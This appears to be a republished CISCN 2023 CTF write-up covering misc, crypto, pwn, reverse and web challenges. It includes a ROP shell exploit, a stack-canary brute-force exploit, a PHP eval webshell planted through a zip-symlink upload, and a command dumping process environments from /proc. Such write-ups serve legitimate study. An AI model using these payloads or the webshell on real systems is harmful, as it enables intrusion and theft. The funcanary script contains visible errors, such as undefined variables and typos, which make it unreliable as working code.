CISCN WP ——R3vCr4ck

news2025/1/8 6:04:52

[CISCN-Misc] 签到卡

[CISCN-Misc] 被加密的生产流量

在过滤器中搜索modbus

发现类似base的编码

跟踪TCP流得到Base32密文

在线解密

[CISCN-Crypto]可信度量

非预期解

分析题目，发现修改程序后的测试程序位于容器内，使用winscp通过scp连接容器，观察分析文件，尝试直接寻找flag文件。

ssh连接后，连续cd..后，进入proc文件夹。

查看环境信息：

cat /proc/*/task/*/environ

其中包含flag信息，即可得到flag

[CISCN-Crypto]wp of Sign_in_passwd

分析题目，为换表base64：

代入脚本得到flag

import base64

dic=dict(zip(range(65),'GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5'))

# GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5

print(dic)

a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='    #标准表

c='j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D'

ds=''  #把dict转换成字符串方便处理

for i in range(65):

    ds+=dic[i]

l=[]

for i in range(len(c)):

    l.append(ds.index(c[i]))  #无论换不换表，base64变换本身产生的6位二进制数对应的十进制数是不变的，这里就是找到密文c的每个字符在dict表中键值

print(l)  #l中存的是索引值（下标数字）

m1=''

for ll in l:

    m1+=a[ll]  #找到l中所存的每个数字在标准的base64加密表中所对应的字符

print(m1)  #m1是标准base64表编码结果

m2=base64.b64decode(m1)  #直接调用函数恢复出明文

print(m2)

[CISCN-PWN]wp of 烧烤摊儿

漏洞分析

将所给文件拖入IDA静态分析

主函数

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // edx
int v4; // ecx
int v5; // er8
int v6; // er9
int v7; // edx
int v8; // ecx
int v9; // er8
int v10; // er9
int result; // eax
unsigned int v12; // [rsp+Ch] [rbp-4h]
​
welcome(argc, argv, envp);
v12 = menu(*(__int64 *)&argc, (__int64)argv, v3, v4, v5, v6);
if ( v12 <= 5 )
  __asm { jmp     rax }
printf((unsigned int)&unk_4B7008, (_DWORD)argv, v7, v8, v9, v10);
exit(0LL);
return result;
}

在IDA文件目录的gaiming中可以发现危险函数scanf

_isoc99_scanf((unsigned int)"%s", (unsigned int)v5, v0, v1, v2, v3);

*主要攻击思路

对vip，pijiu函数处理

__int64 vip()
{
puts("老板，你这摊儿，我买了");
if ( money <= 100000 )
{
  puts("没钱别瞎捣乱");
}
else
{
  money -= 100000;
  own = 1;
  puts("成交");
}
return 0LL;
}

__int64 pijiu()
{
int v0; // edx
int v1; // ecx
int v2; // er8
int v3; // er9
int v4; // edx
int v5; // ecx
int v6; // er8
int v7; // er9
int v9; // [rsp+8h] [rbp-8h] BYREF
int v10; // [rsp+Ch] [rbp-4h] BYREF
​
v10 = 1;
v9 = 1;
puts("1. 青岛啤酒");
puts("2. 燕京U8");
puts("3. 勇闯天涯");
_isoc99_scanf((unsigned int)"%d", (unsigned int)&v10, v0, v1, v2, v3);
puts("来几瓶？");
_isoc99_scanf((unsigned int)"%d", (unsigned int)&v9, v4, v5, v6, v7);
if ( 10 * v9 >= money )
  puts("诶哟，钱不够了");
else
  money += -10 * v9;
puts("咕噜咕噜...");
return 0LL;
}

阅读ida伪代码，可以通过负数形式达到进行对strcpy函数操作的目的

打开虚拟机终端，checksec一下

sekiro18@ubuntu:~/Desktop$ checksec shaokao
[*] '/home/sekiro18/Desktop/shaokao'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     No PIE (0x400000)
​

构造ROP链

sekiro18@ubuntu:~/Desktop$ ROPgadget --binary ./shaokao --ropchain

from struct import pack
​
# Padding goes here
p = b''
​
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall

EXP

from pwn import *  
​
from struct import pack
​
context(log_level='debug',arch='amd64')
#r=process('./shaokao')
r=remote('39.105.58.194',35270)
​
r.sendline('1')
r.sendline('3')
r.sendline('-1000000')
r.recvuntil('咕噜咕噜...\n')
r.sendline('4')
r.recvuntil('成交\n')
r.sendline('5')
#r.recvuntil('请赐名: ')
​
# Padding goes here
p = b'a'*0x28
​
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall
​
r.sendline(p)
​
r.interactive()

[CISCN-PWN]wp of funcanary

漏洞分析

将所给文件拖入IDA静态分析

主函数

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)

{

__pid_t v3; // [rsp+Ch] [rbp-4h]

​

sub_1243(a1, a2, a3);

while ( 1 )

{

  v3 = fork();

  if ( v3 < 0 )

    break;

  if ( v3 )

  {

    wait(0LL);

  }

  else

  {

    puts("welcome");

    sub_128A();

    puts("have fun");

  }

}

puts("fork error");

exit(0);

}

存在溢出函数

unsigned __int64 sub_128A()

{

char buf[104]; // [rsp+0h] [rbp-70h] BYREF

unsigned __int64 v2; // [rsp+68h] [rbp-8h]

​

v2 = __readfsqword(0x28u);

read(0, buf, 0x80uLL);

return v2 - __readfsqword(0x28u);

}

checksec一下

[*]'/home/sekiro18/Desktop/wangan/funcanary'

  Arch:     amd64-64-little

  RELRO:   Full RELRO

  Stack:   Canary found

  NX:       NX enabled

  PIE:     PIE enabled

​

保护全开，但有后门函数

int sub_1228()

{

return system("/bin/cat flag");

}

需要修改返回地址到1228内，所以直接改变返回地址为后门函数

有fork函数，会在程序运行时建立子进程，保证canary不变，可以逐位爆破canary

canary=''

​

while len(canary) < 8:

  for i in range(0,256):

      s=io.recvuntil('welcome')

      io.send(payload+canary+chr(i))

      if b"have fun" in s:

          canary+=chr(i)

          break

      if i == 255:

      break

爆破后还需绕过pie保护，可以类似用off by one的思路溢出覆盖程序后下两位地址，保证高位地址不发生变化，避免去爆破高位地址

for i in range(16):

  io.recvuntil('welcome')       payload=b'a'*0x68+p64(canary)+p64(0)+p16(i*0x1000+0x228)

  io.send(payload)

这里注意由于分页机制低三位地址不变，所以爆破第四位即可

EXP

from pwn import *
context(log_level='debug',arch='amd64')
r=process('./funcanary')
r=remote('',)
canary=''
payload='A'*0x68

while len(canary) < 8:
   for i in range(0,256):
       s=r.recvuntil('welcome')
       io.send(payload+canary+chr(i))
       if b"have fun" in s:
           canary+=chr(i)
           break
       if i == 255:
      break
canary=u64(canary)
for i in range(16):
   r.recvuntil('welcome')       payload=cylic(0x68)+p64(canary)+p64(0)+p16(i*0x1000+0x228)
   r.send(payload)

r.interactive()

[CISCN-Reverse]wp of babyRE

观察加密，是简单异或加密

拿到secret

加密逻辑是简单异或，编写解密脚本

#include<iostream>
using namespace std;


int main() {
    int data[] = {102, 10, 13, 6, 28, 74, 3, 1, 3, 7, 85, 0, 4, 75, 20, 92, 92, 8, 28, 25, 81, 83, 7, 28, 76, 88, 9, 0, 29, 73, 0, 86, 4, 87, 87, 82, 84, 85, 4, 85, 87, 30,0};
    char a = (char)data[0];
    for (int i = 1; i < 42; i++) {
        cout <<a;
        a ^= data[i];
    }
    cout <<"}";
    return 0;
}

[CISCN-PWN]wp of Unzip

打开之后发现是文件上传，任意传一个文件，

Php编写程序，把木马压到zip里面上传，直接上传一句话木马无效，尝试在压缩包里藏一个软链接把文件勾出来，多次尝试后得到

/var/www/html

根据文件内容 此时再上传一句话木马

<?php @eval($_POST['shell']);?>

完成后以post方式传参即可得到flag回显

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/581051.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

Flume系列：案例-Flume复制(Replicating)和多路复用(Multiplexing)

Flume系列：案例-Flume复制(Replicating)和多路复用(Multiplexing)

目录 Apache Hadoop生态-目录汇总-持续更新 1&#xff1a;案例流程描述 2&#xff1a;实现步骤&#xff1a; 2.1&#xff1a;实现flume1.conf 2.2&#xff1a;实现flume2_hdfs.conf 2.3&#xff1a;实现flume3_dir.conf 3&#xff1a;启动传输链路 Apache Hadoop生态-目录…
阅读更多...
移动端开发之基础知识

移动端开发之基础知识

移动端开发之流式布局 移动端基础浏览器现状手机屏幕现状移动端调试方法 视口布局视口视觉视口理想视口总结&#xff1a; meta视口标签标准的viewport设置 三倍图物理像素&物理像素比多倍图背景缩放 background-size背景图三倍图 多倍图切图 cutterman 移动端开发选择移动端…
阅读更多...
这么可爱的彩虹屁老婆，真的不想“娶”一个放桌面上吗？

这么可爱的彩虹屁老婆，真的不想“娶”一个放桌面上吗？

&#x1f4a7;这么可爱的 彩虹屁老婆 \color{#FF1493}{彩虹屁老婆} 彩虹屁老婆&#xff0c;真的不想“娶”一个放桌面上吗&#xff1f;&#x1f4a7; &#x1f337; 仰望天空&#xff0c;妳我亦是行人.✨ &#x1f984; 个人主页——微风撞见云的博客&#x1f390; &…
阅读更多...
如何在华为OD机试中获得满分？Java实现【比赛评分】一文详解！

如何在华为OD机试中获得满分？Java实现【比赛评分】一文详解！

✅创作者：陈书予 🎉个人主页：陈书予的个人主页 🍁陈书予的个人社区，欢迎你的加入: 陈书予的社区 🌟专栏地址: Java华为OD机试真题（2022&2023) 文章目录 1. 题目描述2. 输入描述3. 输出描述4. Java算法源码5. 测试6.解题思路1. 题目描述 一个有N个选手参加比赛，…
阅读更多...
信号处理与分析-卷积的性质与推导

信号处理与分析-卷积的性质与推导

目录 一、引言 二、信号分析中的卷积 1. 什么是卷积 2. 卷积的性质 3. 卷积的应用 三、离散卷积 1. 离散卷积的定义 2. 离散卷积的计算 3. 离散卷积的性质 四、连续卷积 五、卷积的实际应用 六、总结 一、引言 在信号处理中&#xff0c;卷积是一种非常重要的数学运…
阅读更多...
如何在华为OD机试中获得满分？Java实现【吃到最多的刚好合适的菜】一文详解！

如何在华为OD机试中获得满分？Java实现【吃到最多的刚好合适的菜】一文详解！

✅创作者：陈书予 🎉个人主页：陈书予的个人主页 🍁陈书予的个人社区，欢迎你的加入: 陈书予的社区 🌟专栏地址: Java华为OD机试真题（2022&2023) 文章目录 1. 题目描述2. 输入描述3. 输出描述4. Java算法源码5. 测试6.解题思路1. 题目描述 入职后，导师会请你吃饭…
阅读更多...
day2 -- MySQL内部模块

day2 -- MySQL内部模块

学习目标 我希望了解一下Mysql的工作原理&#xff0c;实现这个工作原理的各个模块是如何协同工作的。 学习内容 服务端与客户端 服务端与客户端如何通信 存储引擎 存储结构 具体细节 这里先放上Mysql可视化结构&#xff0c;来自B站 服务端 服务端也就是我们常说的Mysql&…
阅读更多...
多元回归预测 | Matlab蛇群算法(SO)优化最小二乘支持向量机回归预测，SO-LSSVM回归预测，多变量输入模型

多元回归预测 | Matlab蛇群算法(SO)优化最小二乘支持向量机回归预测，SO-LSSVM回归预测，多变量输入模型

文章目录 效果一览文章概述部分源码参考资料效果一览 文章概述 多元回归预测 | Matlab蛇群算法(SO)优化最小二乘支持向量机回归预测，SO-LSSVM回归预测，多变量输入模型 评价指标包括:MAE、RMSE和R2等，代码质量极高，方便学习和替换数据。要求2018版本及以上。 部分源码 %---…
阅读更多...
基于博奇编码的计算全息图及再现研究

基于博奇编码的计算全息图及再现研究

一、引言 全息技术作为一种新的成像技术近年来得到迅速的发展&#xff0c;计算机制全息图不需要实物的存在&#xff0c;同时还能通过计算机实现像的再现。计算全息图主要包括迂回位相型计算全息图和修正离轴参考光计算全息图&#xff0c;这两类全息图由不同的编码方式得到。前…
阅读更多...
剑指 Offer 12 矩阵中的路径

剑指 Offer 12 矩阵中的路径

题目&#xff1a; 给定一个 m x n 二维字符网格 board 和一个字符串单词 word 。如果 word 存在于网格中&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 单词必须按照字母顺序&#xff0c;通过相邻的单元格内的字母构成&#xff0c;其中“相邻”单元格是那…
阅读更多...
【Unity】Playable使用细则

【Unity】Playable使用细则

【Unity】Playable使用细则 本文基于Unity 2021.3 API。 本文介绍官方文档中没提及的Playable使用限制、注意事项、Bug及规避方案&#xff0c;不是Playable的入门教程&#xff01; 如果你还不熟悉Playable的基础用法&#xff0c;请先学习以下官方文档和示例&#xff1a; Playa…
阅读更多...
区块链复习

区块链复习

文章目录 简答题第一章1.区块链的概述&#xff08;问题&#xff1a;区块链是通过哪些机制实现信任的&#xff1f;&#xff09;2.哈希函数的性质&#xff08;问题&#xff1a;区块链为什么能够保证链上数据的不可篡改&#xff1f;&#xff09;3.区块链的特点&#xff08;P18-P19…
阅读更多...
LwIP系列（1）：C语言宏定义相关基础知识(##、include 文件、宏函数、预编译)

LwIP系列（1）：C语言宏定义相关基础知识(##、include 文件、宏函数、预编译)

前言 对于嵌入式物联网技术来说&#xff0c;TCP/IP 协议几乎是不能绕过的&#xff0c;常见socket、tcp、udp、mqtt、coap、modbus-tcp、mdns、广播、组播等等&#xff0c;均是基于TCP/IP协议实现&#xff0c;无处不在。而目前在嵌入式领域&#xff0c;使用最多的TCP/IP协议栈就…
阅读更多...
初阶数据结构之队列的实现（六）

初阶数据结构之队列的实现（六）

文章目录 &#x1f60f;专栏导读&#x1f916;文章导读&#x1f640;什么是队列&#xff1f;&#x1f640;画图描述 &#x1f633;队列的代码实现及其各类讲解&#x1f633;队列实现的理论过程&#x1f633;队列的初始化代码实现及其讲解&#x1f633;队列的初始化 &#x1f63…
阅读更多...
全国酒店评论数据

全国酒店评论数据

评论数据字段内容&#xff1a; id int(11) NOT NULL AUTO_INCREMENT, fetchTime datetime DEFAULT NULL, hotelId int(11) NOT NULL, hotelName varchar(100) DEFAULT NULL, hotelEnName varchar(50) DEFAULT NULL, hotelUrl varchar(500) DEFAULT NULL, …
阅读更多...
目标检测复盘 -- 5. YOLO v1-v3

目标检测复盘 -- 5. YOLO v1-v3

YOLO v1 论文思想 应该怎么理解呢&#xff1f;其实相比较于RCNN系列&#xff0c;YOLO系列没有RPN这种模块了&#xff0c;而是直接输出或者叫做直接回归出来结果&#xff0c;最终的输出是一个特征图&#xff0c;大小为7 * 7 * [ (41) * 2 20]&#xff0c;这个尺寸又怎么理解呢…
阅读更多...
vision transformer的计算复杂度

vision transformer的计算复杂度

文章目录 Vision transformerSwin transformerConvolutional vision Transformer Vision transformer 假设每个图像有 h ∗ w h*w h∗w 个patch&#xff0c;维度是 C C C 输入的图像 X X X ( 大小为 h w ∗ C hw* C hw∗C )&#xff0c;和三个系数矩阵相乘 ( 大小为 C ∗…
阅读更多...
CTF国赛2023 - ukfc

CTF国赛2023 - ukfc

没啥好说的&#xff0c;惜败 Web unzip L.zip bello /var/www/htmlR.zip bello bello.php <?php eval($_REQUEST[a]); ?>先传入L文件&#xff0c;在传入R文件&#xff0c;然后 bello.php?asystem(%27cat%20/flag%27);dumpit 访问 ?dbctf&table_2_dumpflag1%0Ae…
阅读更多...
【C++】数组 - 一维数组，二维数组

【C++】数组 - 一维数组，二维数组

文章目录 1. 一维数组1.1 一维数组定义方式1.2 数组名1.3 冒泡排序 2. 二维数组2.1 二维数组定义方式2.2 数组名 所谓数组&#xff0c;就是一个集合&#xff0c;里边存放了相同类型的数据元素。 特点1&#xff1a;数组中的每个数据元素都是相同的数据类型 特点2&#xff1a;数…
阅读更多...
vue学习1

vue学习1

文章目录 VUE注意点绑定模板语法插值语法指令语法 vue中的data数据代理事件处理点击修饰符键盘事件keyup 计算属性监视深度监视监视与计算属性的区别 样式绑定条件渲染列表渲染对key的理解 列表过滤监视数据改变的底层原理SET()数据劫持 接收表单数据过滤器局部过滤器全局过滤器…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023